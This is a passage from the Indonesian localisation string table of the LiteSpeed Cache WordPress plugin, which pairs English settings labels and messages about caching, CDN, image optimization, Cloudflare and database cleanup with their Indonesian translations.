tersedia!','%1$s plugin version %2$s required for this action.'=>'Diperlukan plugin %1$s versi %2$s untuk tindakan ini.','We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.'=>'Kami bekerja keras untuk meningkatkan pengalaman layanan daring Anda. Layanan tidak akan tersedia selama kami bekerja. Kami mohon maaf atas ketidaknyamanan ini.','Automatically remove the original image backups after fetching optimized images.'=>'Secara otomatis menghapus cadangan gambar asli setelah mengambil gambar yang dioptimalkan.','Remove Original Backups'=>'Hapus Cadangan Asli','Automatically request optimization via cron job.'=>'Otomatis meminta optimasi melalui tugas kron.','A backup of each image is saved before it is optimized.'=>'Cadangan setiap gambar disimpan sebelum dioptimalkan.','Switched images successfully.'=>'Berhasil mengganti gambar.','This can improve quality but may result in larger images than lossy compression will.'=>'Ini dapat meningkatkan kualitas tetapi dapat menghasilkan gambar yang lebih besar dari pada saat kehilangan kompresi.','Optimize images using lossless compression.'=>'Optimasi gambar tanpa kehilangan kompresi.','Optimize Losslessly'=>'Optimasi Tanpa Kehilangan','Request WebP/AVIF versions of original images when doing optimization.'=>'Minta versi WebP/AVIF dari gambar asli saat melakukan pengoptimalan.','Optimize images and save backups of the originals in the same folder.'=>'Optimasi gambar dan cadangkan aslinya dalam folder yang sama.','Optimize Original Images'=>'Optimasi Gambar Asli','When this option is turned %s, it will also load Google Fonts asynchronously.'=>'Ketika opsi ini %s, ia juga akan memuat Fon Google secara asinkron.','Cleaned all Critical CSS files.'=>'Membersihkan seluruh berkas CSS Penting.','This will inline the asynchronous CSS library to avoid render blocking.'=>'Ini akan membuat pustaka CSS asinkron sebaris untuk menghindari pemblokiran render.','Inline CSS Async Lib'=>'Pustaka CSS Asinkron Sebaris','Run Queue Manually'=>'Jalankan Antrean secara Manual','URL list in %s queue waiting for cron'=>'Daftar URL dalam antrean %s menunggu kron','Last requested cost'=>'Waktu permintaan terakhir','Last generated'=>'Pembuatan terakhir','If set to %s this is done in the foreground, which may slow down page load.'=>'Jika %s maka akan dilakukan di latar depan, yang akan memperlambat pemuatan halaman.','Automatic generation of critical CSS is in the background via a cron-based queue.'=>'Pembuatan otomatis CSS penting ada di latar belakang melalui antrean berbasis kron.','Optimize CSS delivery.'=>'Optimasi pengantaran CSS.','This will delete all generated critical CSS files'=>'Ini akan menghapus seluruh berkas CSS penting yang dihasilkan','Critical CSS'=>'CSS Penting','This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.'=>'Situs ini menggunakan cache untuk memfasilitasi waktu respons yang lebih cepat dan pengalaman pengguna yang lebih baik. Cache berpotensi menyimpan salinan duplikat dari setiap halaman web yang ditampilkan di situs ini. Seluruh berkas cache bersifat sementara, dan tidak pernah diakses oleh pihak ketiga mana pun, kecuali jika diperlukan untuk mendapatkan dukungan teknis dari vendor plugin cache. Berkas cache kedaluwarsa pada jadwal yang ditetapkan oleh administrator situs, tetapi jika perlu dapat dihapus dengan mudah oleh admin sebelum kedaluwarsa. Kami dapat menggunakan layanan QUIC.cloud untuk memproses & menyimpan sementara data Anda.','Disabling this may cause WordPress tasks triggered by AJAX to stop working.'=>'Menonaktifkan ini dapat menyebabkan tugas WordPress yang dipicu oleh AJAX berhenti berfungsi.','right now'=>'sekarang','just now'=>'baru saja','Saved'=>'Tersimpan','Last ran'=>'Terakhir Dijalankan','You will be unable to Revert Optimization once the backups are deleted!'=>'Anda tidak akan dapat Mengembalikan Optimasi setelah cadangan dihapus!','This is irreversible.'=>'Ini tidak dapat dipulihkan.','Remove Original Image Backups'=>'Hapus Cadangan Gambar Asli','Are you sure you want to remove all image backups?'=>'Anda yakin ingin menghapus seluruh cadangan gambar?','Total'=>'Total','Files'=>'Berkas','Last calculated'=>'Penghitungan Terakhir','Calculate Original Image Storage'=>'Kalkulasi Penyimpanan Gambar Asli','Storage Optimization'=>'Optimasi Penyimpanan','Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic.'=>'Aktifkan penggantian WebP/AVIF dalam elemen %s yang dihasilkan di luar logika WordPress.','Use the format %1$s or %2$s (element is optional).'=>'Gunakan format %1$s atau %2$s (elemen opsional).','Only attributes listed here will be replaced.'=>'Hanya atribut yang tercantum di sini yang akan diganti.','Specify which element attributes will be replaced with WebP/AVIF.'=>'Tentukan atribut elemen mana yang akan diganti dengan WebP/AVIF.','WebP/AVIF Attribute To Replace'=>'Atribut WebP/AVIF Yang Akan Diganti','Only files within these directories will be pointed to the CDN.'=>'Hanya berkas dalam direktori ini yang akan diarahkan ke CDN.','Included Directories'=>'Direktori yang Disertakan','A Purge All will be executed when WordPress runs these hooks.'=>'Bersihkan Semua akan dieksekusi ketika WordPress menjalankan kaitan ini.','Purge All Hooks'=>'Bersihkan Seluruh Pengait','Purged all caches successfully.'=>'Berhasil menghapus seluruh cache.','LSCache'=>'LSCache','Forced cacheable'=>'Dipaksa dapat dicache','Paths containing these strings will be cached regardless of no-cacheable settings.'=>'Lokasi yang berisi string ini akan dicache terlepas dari pengaturan jangan dicache.','Force Cache URIs'=>'Jangan Cache URI','Exclude Settings'=>'Pengaturan Pengecualian','This will disable LSCache and all optimization features for debug purpose.'=>'Ini akan menonaktifkan LSCache dan seluruh fitur optimasi untuk tujuan debug.','Disable All Features'=>'Nonaktifkan Seluruh Fitur','Opcode Cache'=>'Cache Opcode','CSS/JS Cache'=>'Cache CSS/JS','Remove all previous unfinished image optimization requests.'=>'Hapus seluruh permintaan optimasi gambar yang belum selesai sebelumnya.','Clean Up Unfinished Data'=>'Bersihkan Data yang Belum Selesai','Join Us on Slack'=>'Bergabung dengan kami di Slack','Join the %s community.'=>'Bergabung dengan komunitas %s.','Want to connect with other LiteSpeed users?'=>'Ingin terhubung dengan pengguna LiteSpeed lainnya?','Your API key / token is used to access %s APIs.'=>'Kunci/token API Anda digunakan untuk mengakses API %s.','Your Email address on %s.'=>'Alamat surel Anda di %s.','Use %s API functionality.'=>'Gunakan fungsionalitas API %s.','To randomize CDN hostname, define multiple hostnames for the same resources.'=>'Untuk mengacak nama host CDN, tentukan beberapa nama host untuk sumber yang sama.','Join LiteSpeed Slack community'=>'Bergabung dengan komunitas LiteSpeed Slack','Visit LSCWP support forum'=>'Kunjungi forum dukungan LSCWP','Images notified to pull'=>'Gambar diberitahukan untuk ditarik','What is a group?'=>'Apakah grup?','%s image'=>'%s gambar','%s group'=>'%s grup','%s images'=>'%s gambar','%s groups'=>'%s grup','Guest'=>'Tamu','To crawl the site as a logged-in user, enter the user ids to be simulated.'=>'Untuk merayapi situs sebagai pengguna yang masuk, masukkan id pengguna yang akan disimulasikan.','Role Simulation'=>'Simulasi Peran','running'=>'menjalankan','Size'=>'Ukuran','Ended reason'=>'Alasan berakhir','Last interval'=>'Interval terakhir','Current crawler started at'=>'Perayapan saat ini dimulai pada','Run time for previous crawler'=>'Waktu perayapan sebelumnya','%d seconds'=>'%d detik','Last complete run time for all crawlers'=>'Terakhir waktu menjalankan lengkap untuk seluruh perayap','Current sitemap crawl started at'=>'Perayapan peta situs saat ini dimulai pada','Save transients in database when %1$s is %2$s.'=>'Simpan transien dalam basis data jika %1$s %2$s.','Store Transients'=>'Simpan Transien','If %1$s is %2$s, then %3$s must be populated!'=>'Jika %1$s %2$s, maka %3$s harus diisi!','Server allowed max value: %s'=>'Nilai maksimal yang diizinkan peladen: %s','Server enforced value: %s'=>'Nilai yang diberlakukan peladen: %s','NOTE'=>'CATATAN','Server variable(s) %s available to override this setting.'=>'Variabel peladen %s tersedia untuk mengesampingkan pengaturan ini.','API'=>'API','Reset the entire OPcache successfully.'=>'Berhasil mereset seluruh OPcache.','Imported setting file %s successfully.'=>'Berhasil mengimpor berkas pengaturan %s.','Import failed due to file error.'=>'Gagal mengimpor karena galat berkas.','How to Fix Problems Caused by CSS/JS Optimization.'=>'Cara Memperbaiki Masalah yang Disebabkan oleh Optimasi CSS/JS.','This will generate extra requests to the server, which will increase server load.'=>'Ini akan menghasilkan permintaan tambahan ke peladen, yang akan menambah beban peladen.','When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.'=>'Ketika pengunjung menyorot di atas tautan halaman, muat awal halaman itu. Ini akan mempercepat kunjungan ke tautan itu.','Instant Click'=>'Klik Instan','Reset the entire opcode cache'=>'Reset seluruh cache kode operasi','This will import settings from a file and override all current LiteSpeed Cache settings.'=>'Ini akan mengimpor pengaturan dari berkas dan menimpa pengaturan LiteSpeed Cache yang ada.','Last imported'=>'Impor terakhir','Import'=>'Impor','Import Settings'=>'Impor Pengaturan','This will export all current LiteSpeed Cache settings and save them as a file.'=>'Ini akan mengekspor seluruh pengaturan LiteSpeed Cache saat ini dan menyimpannya sebagai berkas.','Last exported'=>'Terakhir diekspor','Export'=>'Ekspor','Export Settings'=>'Ekspor Pengaturan','Import / Export'=>'Impor/Ekspor','Use keep-alive connections to speed up cache operations.'=>'Gunakan koneksi tetap aktif untuk mempercepat operasi cache.','Database to be used'=>'Basis Data yang digunakan','Redis Database ID'=>'ID Basis Data Redis','Specify the password used when connecting.'=>'Tentukan sandi yang digunakan saat menghubungkan.','Password'=>'Kata Sandi','Only available when %s is installed.'=>'Hanya tersedia jika %s terpasang.','Username'=>'Nama Pengguna','Your %s Hostname or IP address.'=>'Nama Host atau alamat IP Anda %s.','Method'=>'Metode','Purge all object caches successfully.'=>'Berhasil membersihkan seluruh cache objek.','Object cache is not enabled.'=>'Cache objek dinonaktifkan.','Improve wp-admin speed through caching. (May encounter expired data)'=>'Meningkatkan kecepatan wp-admin melalui cache. (Mungkin menemukan data kedaluwarsa)','Cache WP-Admin'=>'Cache WP-Admin','Persistent Connection'=>'Koneksi Persisten','Do Not Cache Groups'=>'Jangan Cache Grup','Groups cached at the network level.'=>'Grup yang dicache di tingkat jaringan.','Global Groups'=>'Grup Global','Connection Test'=>'Tes Koneksi','%s Extension'=>'Ekstensi %s','Status'=>'Status','Default TTL for cached objects.'=>'TTL asali untuk objek yang dicache.','Default Object Lifetime'=>'Waktu-Aktif Objek Asali','Port'=>'Port','Host'=>'Host','Object Cache'=>'Cache Objek','Failed'=>'Gagal','Passed'=>'Lulus','Not Available'=>'Tidak Tersedia','Purge all the object caches'=>'Bersihkan seluruh cache objek','Failed to communicate with Cloudflare'=>'Gagal berkomunikasi dengan Cloudflare','Communicated with Cloudflare successfully.'=>'Berhasil berkomunikasi dengan Cloudflare.','No available Cloudflare zone'=>'Tidak tersedia zona Cloudflare','Notified Cloudflare to purge all successfully.'=>'Berhasil memberitahu Cloudflare untuk membersihkan seluruhnya.','Cloudflare API is set to off.'=>'API Cloudflare dinonaktifkan.','Notified Cloudflare to set development mode to %s successfully.'=>'Berhasil memberitahu Cloudflare untuk mengatur mode pengembangan ke %s.','Once saved, it will be matched with the current list and completed automatically.'=>'Setelah disimpan, ia akan dicocokkan dengan daftar saat ini dan otomatis selesai.','You can just type part of the domain.'=>'Anda dapat menuliskan bagian domain.','Domain'=>'Domain','Cloudflare API'=>'API Cloudflare','Purge Everything'=>'Bersihkan Semua','Cloudflare Cache'=>'Cache Cloudflare','Development Mode will be turned off automatically after three hours.'=>'Mode Pengembangan akan dimatikan secara otomatis setelah tiga jam.','Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.'=>'Memintas sementara cache Cloudflare. Hal ini memungkinkan perubahan pada peladen asal terlihat dalam waktu nyata.','Development mode will be automatically turned off in %s.'=>'Mode pengembangan otomatis dinonaktifkan dalam %s.','Current status is %s.'=>'Status saat ini adalah %s.','Current status is %1$s since %2$s.'=>'Status sekarang %1$s sejak %2$s.','Check Status'=>'Cek Status','Turn OFF'=>'NONAKTIFKAN','Turn ON'=>'Aktifkan','Development Mode'=>'Mode Pengembangan','Cloudflare Zone'=>'Zona Cloudflare','Cloudflare Domain'=>'Domain Cloudflare','Cloudflare'=>'Cloudflare','For example'=>'Sebagai contoh','Prefetching DNS can reduce latency for visitors.'=>'Prapengambilan DNS dapat mengurangi latensi bagi pengunjung.','DNS Prefetch'=>'Prapengambilan DNS','Adding Style to Your Lazy-Loaded Images'=>'Menambahkan Gaya ke Tunda-Pemuatan Gambar Anda','Default value'=>'Nilai asali','Static file type links to be replaced by CDN links.'=>'Tautan jenis berkas statis untuk diganti dengan tautan CDN.','For example, to drop parameters beginning with %1$s, %2$s can be used here.'=>'Sebagai contoh, untuk menghapus paramater yang diawali %1$s, di sini dapat menggunakan %2$s.','Drop Query String'=>'Bersihkan String Kueri','Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.'=>'Aktifkan opsi ini jika Anda menggunakan HTTP dan HTTPS di domain yang sama dan memperhatikan penyimpangan cache.','Improve HTTP/HTTPS Compatibility'=>'Tingkatkan Kompatibilitas HTTP/HTTPS','Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.'=>'Hapus seluruh permintaan/hasil optimasi gambar sebelumnya, kembalikan optimasi yang telah selesai, dan hapus seluruh berkas optimasi.','Destroy All Optimization Data'=>'Hapus Seluruh Data Optimasi','Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.'=>'Pindai ukuran gambar mini baru yang tidak dioptimalkan dan kirim ulang permintaan optimasi gambar yang diperlukan.','This will increase the size of optimized files.'=>'Ini akan meningkatkan ukuran berkas yang dioptimalkan.','Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.'=>'Simpan data EXIF (hak cipta, GPS, komentar, kata kunci, dll.) saat mengoptimalkan.','Clear Logs'=>'Bersihkan Log','To test the cart, visit the <a %s>FAQ</a>.'=>'Untuk menguji keranjang, kunjungi <a %s>FAQ</a>.',' %s ago'=>' %s lalu','WebP saved %s'=>'WebP tersimpan %s','If you run into any issues, please refer to the report number in your support message.'=>'Jika Anda mengalami masalah, silakan merujuk ke nomor laporan di pesan dukungan Anda.','Last pull initiated by cron at %s.'=>'Penarikan terakhir yang dimulai oleh kron pada %s.','Images will be pulled automatically if the cron job is running.'=>'Gambar otomatis ditarik jika tugas kron berjalan.','Only press the button if the pull cron job is disabled.'=>'Hanya tekan tombol jika tugas penarikan kron dinonaktifkan.','Pull Images'=>'Tarik Gambar','This process is automatic.'=>'Proses ini otomatis.','Last Request'=>'Permintaan Terakhir','Images Pulled'=>'Gambar Ditarik','Report'=>'Laporan','Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.'=>'Kirim laporan ini ke LiteSpeed. Lihat nomor laporan ini saat mengirim di forum dukungan WordPress.','Send to LiteSpeed'=>'Kirim ke LiteSpeed','LiteSpeed Optimization'=>'Pengoptimalan LiteSpeed','Load Google Fonts Asynchronously'=>'Muat Fon Google Secara Asinkron','Browser Cache TTL'=>'TTL Cache Peramban','Results can be checked in %sMedia Library%s.'=>'Hasil dapat diperiksa di %sPustaka Media%s.','Learn More'=>'Pelajari Lebih Lanjut','Image groups total'=>'Total grup gambar','Images optimized and pulled'=>'Gambar telah dioptimalkan dan ditarik','Images requested'=>'Gambar diminta','Switched to optimized file successfully.'=>'Berhasil mengganti dengan berkas yang dioptimalkan.','Restored original file successfully.'=>'Berhasil mengembalikan berkas asli.','Enabled WebP file successfully.'=>'Berhasil mengaktifkan berkas WebP.','Disabled WebP file successfully.'=>'Berhasil menonaktifkan berkas WebP.','Significantly improve load time by replacing images with their optimized %s versions.'=>'Secara signifikan meningkatkan waktu muat dengan mengganti gambar dengan versi %s yang dioptimalkan.','Selected roles will be excluded from cache.'=>'Peran yang dipilih akan dikecualikan dari cache.','Tuning'=>'Penyesuaian','Selected roles will be excluded from all optimizations.'=>'Peran terpilih akan dikecualikan dari seluruh optimasi.','Role Excludes'=>'Pengecualian Peran','Tuning Settings'=>'Pengaturan Penyesuaian','If the tag slug is not found, the tag will be removed from the list on save.'=>'Jika slug tag tidak ditemukan, tag akan dihapus dari daftar saat menyimpan.','If the category name is not found, the category will be removed from the list on save.'=>'Jika nama kategori tidak ditemukan, kategori tersebut akan dihapus dari daftar di simpan.','After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.'=>'Setelah peladen Pengoptimalan Gambar QUIC.cloud menyelesaikan pengoptimalan, peladen akan memberi tahu situs Anda untuk menarik gambar yang dioptimalkan.','Send Optimization Request'=>'Kirim Permintaan Optimasi','Image Information'=>'Informasi Gambar','Total Reduction'=>'Pengurangan Total','Optimization Summary'=>'Ringkasan Optimasi','LiteSpeed Cache Image Optimization'=>'Optimasi Gambar LiteSpeed Cache','Image Optimization'=>'Optimasi Gambar','For example, %s can be used for a transparent placeholder.'=>'Sebagai contoh, %s dapat digunakan sebagai penampung gambar transparan.','By default a gray image placeholder %s will be used.'=>'Secara asali, penampung gambar abu-abu %s akan digunakan.','This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.'=>'Ini dapat ditentukan sebelumnya dalam %2$s juga menggunakan konstanta %1$s, dengan pengaturan ini yang diprioritaskan.','Specify a base64 image to be used as a simple placeholder while images finish loading.'=>'Tentukan gambar base64 untuk digunakan sebagai penampung sederhana saat gambar selesai dimuat.','Elements with attribute %s in html code will be excluded.'=>'Elemen dengan atribut %s dalam kode html akan dikecualikan.','Filter %s is supported.'=>'Mendukung penyaring %s.','Listed images will not be lazy loaded.'=>'Gambar terdaftar tidak akan ditunda pemuatannya.','Lazy Load Image Excludes'=>'Pengecualian Tunda Muat Gambar','No optimization'=>'Tanpa optimasi','Prevent any optimization of listed pages.'=>'Cegah pengoptimalan halaman terdaftar.','URI Excludes'=>'Pengecualian URI','Stop loading WordPress.org emoji. Browser default emoji will be displayed instead.'=>'Berhenti memuat emoji WordPress.org. Sebagai gantinya, akan ditampilkan Emoji asali peramban.','Both full URLs and partial strings can be used.'=>'Baik URL lengkap maupun string parsial dapat digunakan.','Load iframes only when they enter the viewport.'=>'Muat iframe hanya jika telah memasuki area pandang.','Lazy Load Iframes'=>'Tunda Muat Iframe','This can improve page loading time by reducing initial HTTP requests.'=>'Ini dapat meningkatkan waktu pemuatan halaman dengan mengurangi permintaan HTTP awal.','Load images only when they enter the viewport.'=>'Muat gambar hanya ketika gambar sudah dalam area pandang.','Lazy Load Images'=>'Tunda Muat Gambar','Media Settings'=>'Pengaturan Media','For example, for %1$s, %2$s and %3$s can be used here.'=>'Sebagai contoh, untuk %1$s, di sini dapat digunakan %2$s dan %3$s.','Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.'=>'Mendukung karakter bebas %1$s (cocok dengan nol atau lebih karakter). Misalnya, untuk mencocokkan %2$s dan %3$s, gunakan %4$s.','To match the beginning, add %s to the beginning of the item.'=>'Untuk mencocokkan awal, tambahkan %s ke awal item.','For example, for %1$s, %2$s can be used here.'=>'Sebagai contoh, untuk %1$s, di sini dapat digunakan %2$s.','Maybe later'=>'Mungkin nanti','I\'ve already left a review'=>'Saya telah memberikan ulasan','Welcome to LiteSpeed'=>'Selamat datang di LiteSpeed','Remove WordPress Emoji'=>'Hapus Emoji WordPress','More settings'=>'Pengaturan lainnya','Private cache'=>'Cache pribadi','Non cacheable'=>'Tidak dapat dicache','Mark this page as '=>'Tandai halaman ini sebagai ','Purge this page'=>'Bersihkan halaman ini','Load JS Deferred'=>'Tangguhkan Pemuatan JS','Specify critical CSS rules for above-the-fold content when enabling %s.'=>'Tentukan aturan CSS penting untuk konten di atas-lipatan ketika mengaktifkan %s.','Critical CSS Rules'=>'Aturan CSS Penting','Load CSS Asynchronously'=>'Muat CSS Secara Asinkron','Prevent Google Fonts from loading on all pages.'=>'Cegah Fon Google dimuat di seluruh halaman.','Remove Google Fonts'=>'Hapus Fon Google','This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.'=>'Ini dapat meningkatkan skor kecepatan Anda di layanan seperti Pingdom, GTmetrix dan PageSpeed.','Remove query strings from internal static resources.'=>'Hapus string kueri dari sumber daya statis internal.','Remove Query Strings'=>'Hapus String Kueri','user agents'=>'agen pengguna','cookies'=>'kuki','You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s.'=>'Anda juga dapat mengaktifkan cache peramban di admin peladen. %sPelajari lebih lanjut tentang pengaturan cache peramban LiteSpeed%s.','Browser caching stores static files locally in the user\'s browser. Turn on this setting to reduce repeated requests for static files.'=>'Cache peramban menyimpan berkas statis secara lokal di peramban pengguna. Aktifkan pengaturan ini untuk mengurangi permintaan berkas statis berulang.','Browser Cache'=>'Cache Peramban','tags'=>'tag','Do Not Cache Tags'=>'Jangan Cache Tag','To exclude %1$s, insert %2$s.'=>'Untuk mengecualikan %1$s, sisipkan %2$s.','categories'=>'kategori','To prevent %s from being cached, enter them here.'=>'Untuk mencegah %s dicache, masukkan di sini.','Do Not Cache Categories'=>'Jangan Cache Kategori','Query strings containing these parameters will not be cached.'=>'String kueri yang berisi parameter ini tidak akan dicache.','Do Not Cache Query Strings'=>'Jangan Cache String Kueri','Paths containing these strings will not be cached.'=>'Lokasi yang memuat string berikut tidak akan dicache.','Do Not Cache URIs'=>'Jangan Cache URI','One per line.'=>'Satu per baris.','URI Paths containing these strings will NOT be cached as public.'=>'Jalur URI yang mengandung string ini TIDAK akan dicache sebagai publik.','Private Cached URIs'=>'URI Cache Pribadi','Paths containing these strings will not be served from the CDN.'=>'Lokasi yang berisi string ini tidak akan dilayani dari CDN.','Exclude Path'=>'Kecualikan Lokasi','Include File Types'=>'Sertakan Jenis Berkas','Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.'=>'Sajikan seluruh berkas JavaScript melalui CDN. Ini akan memengaruhi seluruh berkas WP JavaScript yang telah diminta.','Include JS'=>'Sertakan JS','Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.'=>'Sajikan seluruh berkas CSS melalui CDN. Ini akan memengaruhi seluruh berkas WP CSS yang telah diminta.','Include CSS'=>'Sertakan CSS','Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes.'=>'Sajikan seluruh berkas gambar melalui CDN. Ini akan memengaruhi seluruh lampiran, tag HTML %1$s, dan atribut CSS %2$s.','Include Images'=>'Sertakan Gambar','CDN URL to be used. For example, %s'=>'URL CDN yang digunakan. Sebagai contoh, %s','CDN URL'=>'URL CDN','Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.'=>'URL situs untuk dilayani melalui CDN. Dimulai dengan %1$s. Misalnya,%2$s.','Original URLs'=>'URL Original','CDN Settings'=>'Pengaturan CDN','CDN'=>'CDN','OFF'=>'NONAKTIF','ON'=>'AKTIF','Notified LiteSpeed Web Server to purge CSS/JS entries.'=>'Beritahu Peladen Situs LiteSpeed untuk membersihkan entri CSS/JS.','Minify HTML content.'=>'Perkecil konten HTML.','HTML Minify'=>'Perkecil HTML','JS Excludes'=>'Kecualikan JS','JS Combine'=>'Gabungkan JS','JS Minify'=>'Perkecil JS','CSS Excludes'=>'Kecualikan CSS','CSS Combine'=>'Gabungkan CSS','CSS Minify'=>'Perkecil CSS','Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.'=>'Harap uji secara menyeluruh saat mengaktifkan opsi apa pun dalam daftar ini. Setelah mengubah pengaturan Memperkecil/Menggabungkan, harap Bersihkan Semua.','This will purge all minified/combined CSS/JS entries only'=>'Ini hanya akan membersihkan seluruh entri CSS/JS yang diperkecil/digabungkan','Purge %s Error'=>'Bersihkan Galat %s','Database Optimizer'=>'Pengoptimal Basis Data','Optimize all tables in your database'=>'Optimasi seluruh tabel pada basis data Anda','Optimize Tables'=>'Optimalkan Tabel','Clean all transient options'=>'Bersihkan seluruh opsi transien','All Transients'=>'Seluruh Transien','Clean expired transient options'=>'Bersihkan opsi transien kedaluwarsa','Expired Transients'=>'Transien Kedaluwarsa','Clean all trackbacks and pingbacks'=>'Bersihkan seluruh lacak dan ping balik','Trackbacks/Pingbacks'=>'Lacak/Ping Balik','Clean all trashed comments'=>'Bersihkan seluruh sampah komentar','Trashed Comments'=>'Sampah Komentar','Clean all spam comments'=>'Bersihkan seluruh komentar spam','Spam Comments'=>'Komentar Spam','Clean all trashed posts and pages'=>'Bersihkan seluruh sampah tulisan dan halaman','Trashed Posts'=>'Tulisan Dihapus','Clean all auto saved drafts'=>'Bersihkan seluruh konsep yang tersimpan','Auto Drafts'=>'Draf Otomatis','Clean all post revisions'=>'Bersihkan seluruh revisi tulisan','Post Revisions'=>'Revisi Tulisan','Clean All'=>'Bersihkan Semua','Optimized all tables.'=>'Seluruh tabel telah dioptimalkan.','Clean all transients successfully.'=>'Berhasil membersihkan seluruh transien.','Clean expired transients successfully.'=>'Berhasil membersihkan transien kadaluarsa.','Clean trackbacks and pingbacks successfully.'=>'Berhasil membersihkan ping dan lacak balik.','Clean trashed comments successfully.'=>'Berhasil membersihkan sampah komentar.','Clean spam comments successfully.'=>'Berhasil membersihkan komentar spam.','Clean trashed posts and pages successfully.'=>'Berhasil membersihkan sampah tulisan dan halaman.','Clean auto drafts successfully.'=>'Berhasil membersihkan konsep otomatis.','Clean post revisions successfully.'=>'Berhasil membersihkan revisi tulisan.','Clean all successfully.'=>'Berhasil membersihkan seluruhnya.','Default Private Cache TTL'=>'TTL Cache Pribadi Asali','If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.'=>'Jika situs Anda berisi konten publik yang bisa dilihat oleh peran pengguna tertentu tetapi peran lain tidak bisa, Anda bisa menentukan Grup Berbeda untuk peran pengguna itu. Misalnya, menentukan grup dengan variasi administrator memungkinkan ada halaman terpisah yang dibuat untuk publik yang dibuat khusus untuk administrator (dengan tautan "edit", dll), sementara seluruh peran pengguna lainnya melihat halaman publik asali.','Vary Group'=>'Grup Berbeda','Cache the built-in Comment Form ESI block.'=>'Cache blok ESI Formulir Komentar bawaan.','Cache Comment Form'=>'Cache Formulir Komentar','Cache the built-in Admin Bar ESI block.'=>'Cache blok ESI Bilah Admin bawaan.','Cache Admin Bar'=>'Cache Bilah Admin','Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.'=>'Aktifkan cache halaman publik untuk pengguna yang masuk dan sajikan Bilah Admin dan Formulir Komentar melalui blok ESI. Dua blok ini tidak akan dicache kecuali diaktifkan di bawah.','ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.'=>'ESI memungkinkan Anda untuk menunjuk bagian-bagian dari halaman dinamis Anda sebagai fragmen terpisah yang kemudian disusun bersama untuk membuat keseluruhan halaman. Dengan kata lain, ESI memungkinkan Anda “membuat lubang” di halaman, dan kemudian mengisi lubang itu dengan konten yang mungkin dicache secara pribadi, dicache secara publik dengan TTL-nya sendiri, atau tidak dicache sama sekali.','With ESI (Edge Side Includes), pages may be served from cache for logged-in users.'=>'Dengan ESI (Edge Side Includes), halaman dapat disajikan dari cache untuk pengguna yang masuk.','Private'=>'Pribadi','Public'=>'Publik','Purge Settings'=>'Pengaturan Pembersihan','Cache Mobile'=>'Cache Seluler','Advanced level will log more details.'=>'Level lanjutan akan mencatat lebih detail.','Basic'=>'Dasar','The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.'=>'Beban rata-rata maksimal peladen yang diizinkan saat perayapan. Jumlah rangkaian perayap yang digunakan akan dikurangi secara aktif hingga rata-rata beban peladen berkurang di bawah batas ini. Jika ini tidak dapat dicapai dengan perayap tunggal, perayapan yang berlangsung saat ini akan dihentikan.','Cache Login Page'=>'Cache Halaman Masuk','Cache requests made by WordPress REST API calls.'=>'Permintaan cache dibuat oleh panggilan REST API WordPress.','Cache REST API'=>'Cache REST API','Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)'=>'Cache secara pribadi komentator yang memiliki komentar tertunda. Menonaktifkan opsi ini akan menayangkan halaman yang tidak dapat dicache untuk komentator. (Diperlukan LSWS %s)','Cache Commenters'=>'Cache Komentator','Privately cache frontend pages for logged-in users. (LSWS %s required)'=>'Cache tampilan depan secara pribadi untuk pengguna yang masuk. (Diperlukan LSWS %s)','Cache Logged-in Users'=>'Cache Pengguna Masuk','Cache Control Settings'=>'Pengaturan Kontrol Cache','ESI'=>'ESI','Excludes'=>'Kecualikan','Purge'=>'Pembersihan','Cache'=>'Cache','Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)'=>'Aturan cache tak terduga %2$s ditemukan di berkas %1$s. Aturan ini dapat menyebabkan pengunjung melihat halaman versi lama karena peramban melakukan cache halaman HTML. Jika Anda yakin bahwa halaman HTML tidak dicache peramban, pesan ini dapat ditutup. (%3$sPelajari Lebih Lanjut%4$s)','Current server time is %s.'=>'Waktu peladen saat ini adalah %s.','Specify the time to purge the "%s" list.'=>'Tetapkan waktu untuk membersihkan daftar "%s".','Both %1$s and %2$s are acceptable.'=>'Baik %1$s dan %2$s, dapat diterima.','Scheduled Purge Time'=>'Waktu Pembersihan Terjadwal','The URLs here (one per line) will be purged automatically at the time set in the option "%s".'=>'URL di sini (satu per baris) akan dihapus secara otomatis pada waktu yang ditentukan dalam opsi "%s".','Scheduled Purge URLs'=>'Pembersihan URL Terjadwal','Shorten query strings in the debug log to improve readability.'=>'Persingkat string kueri dalam log debug untuk meningkatkan 